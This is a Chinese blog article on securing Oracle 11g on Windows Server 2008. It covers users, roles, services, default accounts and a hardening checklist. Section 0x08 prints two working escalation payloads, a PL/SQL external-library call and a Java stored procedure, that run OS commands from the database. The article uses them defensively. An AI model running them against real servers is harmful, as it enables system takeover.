1個月前 (09-12) 中國互聯安全響應中心  Oracle
文章評分 0 次,平均分 0.0

0x01 測試環境

操作系統:window server 2008 x64 oracle:oracle 11.2.0.1.0

0x02 oracle權限介紹

oracle一個實例就是一個數據庫,創建一個新的數據庫會產生一個新的實例,并且一個實例獨立運行一個進程。

一個用戶對應一個方案,當用戶新建一個數據對象(比如表)之后會在此方案下面。自己訪問可以直接訪問,其他用戶訪問需通過“方案名.對象名”的方式。

用戶默認擁有自己方案下面的數據對象的權限,其他用戶無相應權限。sys,system默認擁有所有方案的權限。

當一個用戶登錄oracle實例時,首先需要判斷用戶是有否登錄權限,如果沒有,直接不能登錄,如果有,則登錄成功。登錄成功之后,會根據用戶擁有的權限來決定能做的事情,在進行一項操作時,如果有權限,則操作成功,如果沒有權限,則操作失敗。

oracle主要有兩個核心進程,一個是oracle的服務進程,一個是監聽進程,當外部連接oracle時,首先是訪問的監聽進程,由監聽進程根據你訪問的數據庫實例來轉發到相應的oracle實例進程處理。

0x03 oracle系統服務

在window server 2008中安裝的oracle 11g總共會有七個服務,這七個服務的含義分別為:

a. Oracle ORCL VSS Writer Service:

Oracle卷映射拷貝寫入服務,VSS(Volume Shadow Copy Service)能夠讓存儲基礎設備(比如磁盤,陣列等)創建高保真的時間點映像,即映射拷貝(shadow copy)。它可以在多卷或者單個卷上創建映射拷貝,同時不會影響到系統的系統能。(非必須啟動)

b. OracleDBConsoleorcl:

Oracle數據庫控制臺服務,orcl是Oracle的實例標識,默認的實例為orcl。在運行Enterprise Manager(企業管理器OEM)的時候,需要啟動這個服務。(非必須啟動)

c. OracleJobSchedulerORCL:

Oracle作業調度(定時器)服務,ORCL是Oracle實例標識。(非必須啟動)

d. OracleMTSRecoveryService:

服務端控制。該服務允許數據庫充當一個微軟事務服務器MTS、COM/COM+對象和分布式環境下的事務的資源管理器。(非必須啟動)

e. OracleOraDb11g_home1ClrAgent:

Oracle數據庫.NET擴展服務的一部分。 (非必須啟動)

f. OracleOraDb11g_home1TNSListener:

監聽器服務,服務只有在數據庫需要遠程訪問的時候才需要。(非必須啟動,但是供外部訪問則必須啟動)。

g. OracleServiceORCL:

數據庫服務(數據庫實例),是Oracle核心服務該服務,是數據庫啟動的基礎, 只有該服務啟動,Oracle數據庫才能正常啟動。(必須啟動)

那么在開發的時候到底需要啟動哪些服務呢?

對新手來說,要是只用Oracle自帶的sql*plus的話,只要啟動OracleServiceORCL即可,要是使用PL/SQL Developer等第三方工具的話,OracleOraDb11g_home1TNSListener服務也要開啟。OracleDBConsoleorcl是進入基于web的EM必須開啟的,其余服務很少用。

0x04 oracle默認賬戶

在oracle11g安裝后,會有很多系統默認賬號,除了4個外,其他的都處于鎖定狀態,如無特殊用途,請不要打開。另外4個分別為:

SYS用戶 SYS,當創建一個數據庫時,SYS用戶將被默認創建并授予DBA角色,所有數據庫數據字典中的基本表和視圖都存儲在名為SYS的方案中,這些基本表和視圖對于Oracle數據庫的操作是非常重要的。為了維護數據字典的真實性,SYS方案中的表只能由系統來維護,他們不能被任何用戶或數據庫管理員修改,而且任何用戶不能在SYS方案中創建表。

SYSTEM用戶 SYSTEM,與SYS一樣,在創建Oracle數據庫時,SYSTEM用戶被默認創建并被授予DBA角色,用于創建顯示管理信息的表或視圖,以及被各種Oracle數據庫應用和工具使用的內容表 或視圖。

DBSNMP用戶 DBSNMP是Oracle數據庫中用于智能代理(Intelligent Agent)的用戶,用來監控和管理數據庫相關性能的用戶,如果停止該用戶,則無法提取相關的數據信息。

SYSMAN用戶 SYSMAN是Oracle數據庫中用于EM管理的用戶,如果你不用該用戶,也可以刪除或者鎖定。

以上4個賬戶的密碼均為安裝時候設置的密碼,由于一般情況下,DBSNMP和SYSMAN用戶不會被使用而被遺漏,建議鎖定。

0x05 oracle權限和角色

a.權限

oracle權限分為系統權限和對象權限,當剛剛建立用戶時,用戶沒有任何權限,也不能執行任何操作。如果要執行某種特定的數據庫操作,則必須為其授予系統的權限。如果用戶要訪問其他方案的對象,則必須為其授予對象的權限。

系統權限是指執行特定類型Sql命令的權利,它用于控制用戶可以執行的一個或是一組數據庫操作。比如當用戶具有create table權限是,可以在其方案中建表,當用戶具有create any table權限時,可以在任何方案中建表。Oracle提供了100多種系統權限。

常見的系統權限見下表:

create session 連接數據庫
create view 創建視圖
create procedure 創建過程、函數、包
create cluster 建簇
create table 創建表
create public synonym 創建同義詞
create trigger 創建觸發器

常見的對象權限見下表:

alter 修改表結構
delete 刪除數據
select 查詢數據
insert 添加數據
update 修改數據
index 在表上建立索引
references 引用
execute 執行

注:可以用all代替select, update, insert, alter, index, delete

b. 角色

oracle角色分為系統角色和自定義角色,自定義角色可以根據需要指定相應的權限,系統角色主要介紹下面3個:

DBA: 擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構。

RESOURCE:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構。

CONNECT:擁有Connect權限的用戶只可以登錄,不可以創建實體和數據庫結構。

對于普通用戶:授予connect, resource角色。

對于DBA管理用戶:授予connect,resource, dba角色。

0x06 oracle如何建立網站連接用戶

方案一:

使用system新建一個用戶名,給予connect,resource 的角色

使用新建的用戶登錄,然后創建需要的表

使用system登錄,revoke新建用戶的connect,resource角色

使用system登錄,grant新建用戶create session 權限

使用system登錄,給予新建用戶在USERS表空間的權限

方案二:

使用system登錄,創建網站需要的表

使用system登錄,創建一個用戶名

使用system登錄,grant新建用戶create session的系統權限,然后根據網站的需要給予所建表的相應的對象權限。

使用system登錄,給予新建用戶在USERS表空間的權限

網站訪問數據庫的時候使用“system.表名”的形式。

0x07 oracle安全配置方案

1. 限制訪問ip

方法一:

防火墻指定,windows中通過windows防火墻中指定監聽端口的訪問ip,linux中通過iptables指定監聽端口的訪問ip。

方法二:

windows中可通過ipsec指定監聽端口的訪問ip。

方法三:

可通過oracle的監聽器中指定可訪問的ip 在服務器上的文件$ORACLE_HOME/network/admin/sqlnet.ora中設置以下行:

tcp.validnode_checking = yes

允許訪問的ip

tcp.invited_nodes = (ip1,ip2…)

不允許訪問的ip

tcp.excluded_nodes=(ip1,ip2,……)

修改端口 可以修改監聽器的端口,減少掃描量

關閉不必要的服務 可以關閉不必要的服務來減少對外訪問,除了OracleServiceORCL和OracleOraDb11g_home1TNSListener是必須開啟的之外,其他的均可以關閉。特別是OracleDBConsoleorcl服務的開啟會啟用web版的EM,訪問端口在1158,如不需要請關閉此服務。

所有的用戶均需設置強密碼 在設置密碼的時候均需要設置8位以上的強密碼,且包含大小寫,數字,特殊字符。

關閉不需要的用戶 oracle默認會有4個不鎖定的賬戶,建議鎖定DBSNMP和SYSMAN。

特權賬戶的處理 限制數據庫超級管理員遠程登錄。 a. 在spfile中設置 REMOTE_LOGIN_PASSWORDFILE=NONE b.在sqlnet.ora中設置 SQLNET.AUTHENTICATION_SERVICES=NONE 禁用SYSDBA角色的自動登錄

開啟日志 可以開啟日志對數據庫進行審計,但是也會消耗資源,可根據實際情況操作。

網站使用的數據庫賬號權限最小化 可以根據上面寫的網站連接數據庫賬戶推薦的方案建立。

合理使用數據庫進程賬戶 數據庫進程賬戶使用較低權限賬戶,新建一個新用戶,添加數據目錄的寫權限,如果配置之后跑不起來,可以退而求其次,給予整個數據庫目錄的完全控制權限。

合理配置數據庫進程賬戶對磁盤的權限 不要給予數據庫目錄以外的特殊權限,最好是讀取權限都不給,可以根據實際情況來安排,原則就是數據庫目錄給的權限能保證正常運行,其他的目錄能不給就不給。

0x08 oracle提權及防御點

1. 通過PL/SQL提權

create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll'; create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');

2. 使用java提權

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');

以上兩種方法如果使用sys均可以提權成功,而普通權限用戶是無法完成上面的操作的。所以防御源頭還是只能對sys特權賬戶的管理,但是如果真的特權賬戶被黑客獲取,此時的方法也只有使用低權限的數據庫進程賬戶,以及控制進程賬戶對磁盤的權限,這樣操作能將黑客能夠操作的權限降到最低。 至于先對低權限的oracle賬戶提升為dba權限,然后進行系統提權的操作本文不討論,也請大牛提供更好的方法。

0x09 oracle常見操作命令

1. 連接數據庫

conn [email?protected] as sysdba;

2. 新建用戶

create user yonghuming identified by mima;

3. 給用戶授權

grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;

4. 取消授權

revoke connect , resource from yonghuming;

5. 刪除鎖定(解鎖)賬號

alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;

  
 

除特別注明外,本站所有文章均為鐵匠運維網原創,轉載請注明出處來自http://www.kzrhud.live/25114.html

中國互聯是江蘇邦寧科技有限公司旗下的著名IT服務供應商品牌之一,是國內IDC行業十大之一、企業互聯網服務首選品牌。江蘇邦寧科技成立于2003年,是國內互聯網名稱與數字地址服務、云數據中心機房服務的引領者,是行業云計算解決方案、網站智能建設、企業智能辦公軟件、移動互聯網開發的創新者。自成立以來,公司秉承“一切為了客戶滿意”的核心理念,堅持“國際化、專業化、高端化”的發展思路,堅持“以客戶需求為導向、以技術創新為基礎、以服務創新為支撐”,先后為國內各級政府、社會服務機構、國內外眾多500強企業及中小企業、個人客戶提供了專業、高質、優越的互聯網應用服務。

發表評論

暫無評論

切換注冊

登錄

忘記密碼 ?

您也可以使用第三方帳號快捷登錄

切換登錄

注冊

掃一掃二維碼分享
青海11选5开奖结果走势图